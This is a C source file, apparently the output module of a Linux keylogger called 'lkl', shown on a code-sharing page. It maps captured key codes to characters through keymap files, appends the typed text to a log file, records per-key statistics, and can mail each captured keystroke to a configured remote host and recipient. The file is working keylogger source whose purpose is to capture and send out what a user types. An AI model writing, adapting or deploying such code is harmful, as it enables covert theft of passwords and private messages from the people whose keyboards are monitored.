📄 output.c
字号:
#include "lkl.h"char *asciitab[TABLE_SIZE], *asciitab_shift[TABLE_SIZE], *asciitab_alt[TABLE_SIZE];int stattab[TABLE_SIZE];void do_output(char c, struct lkl *lkl){ FILE *fp; char *ascii; ascii = code2ascii(c, lkl); if(ascii == NULL) ascii = "NULL"; if(*ascii) { if(c<TABLE_SIZE) stattab[c]++; } if(lkl->outfile == NULL){ printf("(%s)", ascii); }else{ if((fp = fopen(lkl->outfile, "a")) == NULL){ perror("fopen()"); exit(-1); } fprintf(fp, "%s", ascii); fclose(fp); } /* do stat-info out */ if(lkl->statfile != NULL) { if((fp = fopen(lkl->statfile, "w")) == NULL){ perror("fopen()"); exit(-1); } fwrite(stattab,sizeof(stattab),1,fp);//, "%s", ascii); fclose(fp); } if(lkl->mail)snd_mail(ascii, lkl->host, lkl->rcpt); }void do_dump(char* filename){ /* open the key static file */ FILE *fp; int i; memset(&stattab,0,sizeof(stattab)); if(filename != NULL) { if((fp = fopen(filename, "r")) == NULL){ perror("fopen()"); exit(-1); } fread(&stattab,sizeof(stattab),1,fp); fclose(fp); } for(i = 0; i<TABLE_SIZE;i++) { if(stattab[i]) { //do output printf("KeyCode:%d:Count:%d;",i,stattab[i]); } } printf("\n");}char *code2ascii(char c, struct lkl *lkl){ char *str; if(lkl->pressed_shift){ str = asciitab_shift[c]; return str; } if(lkl->pressed_alt){ str = asciitab_alt[c]; return str; } return str = asciitab[c];}void def_keymap(char km_file[]){ int i; char km_fileOLD[256], *ascii[TABLE_SIZE]; FILE *fp; if((fp = fopen(km_file, "r")) == NULL){ perror("\nunable to find keymap-file"); printf("a keymap is required!! run lkl with -k <keymap>\n"); exit(-1); } strcpy(km_fileOLD, km_file); //Standard keymap definition for(i = 1; !feof(fp); i++){ asciitab[i] = (char *)malloc(127); fgets(asciitab[i], 127, fp); if(asciitab[i][0] == '#'){ i--; continue; } if(!strstr(asciitab[i], "<Ret>")) asciitab[i][(strlen(asciitab[i])-1)] = '\0'; } //Upper Case keymap definition strcat(km_file, "UP"); if((fp = fopen(km_file, "r")) == NULL){ perror("\nunable to find keymap-file"); printf("unable to find UPPER case keymap file, check it!\n"); exit(-1); } for(i = 1; !feof(fp); i++){ asciitab_shift[i] = (char *)malloc(127); fgets(asciitab_shift[i], 127, fp); if(asciitab_shift[i][0] == '#'){ i--; continue; } if(!strstr(asciitab_shift[i], "<Ret>")) asciitab_shift[i][(strlen(asciitab_shift[i])-1)] = '\0'; } //Alt keymap definition strcpy(km_file, km_fileOLD); strcat(km_file, "ALT"); if((fp = fopen(km_file, "r")) == NULL){ perror("\nunable to find keymap-file"); printf("unable to find ALT keymap file, check it!\n"); exit(-1); } for(i = 1; !feof(fp); i++){ asciitab_alt[i] = (char *)malloc(127); fgets(asciitab_alt[i], 127, fp); if(asciitab_alt[i][0] == '#'){ i--; continue; } asciitab_alt[i][(strlen(asciitab_alt[i])-1)] = '\0'; } fclose(fp);}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -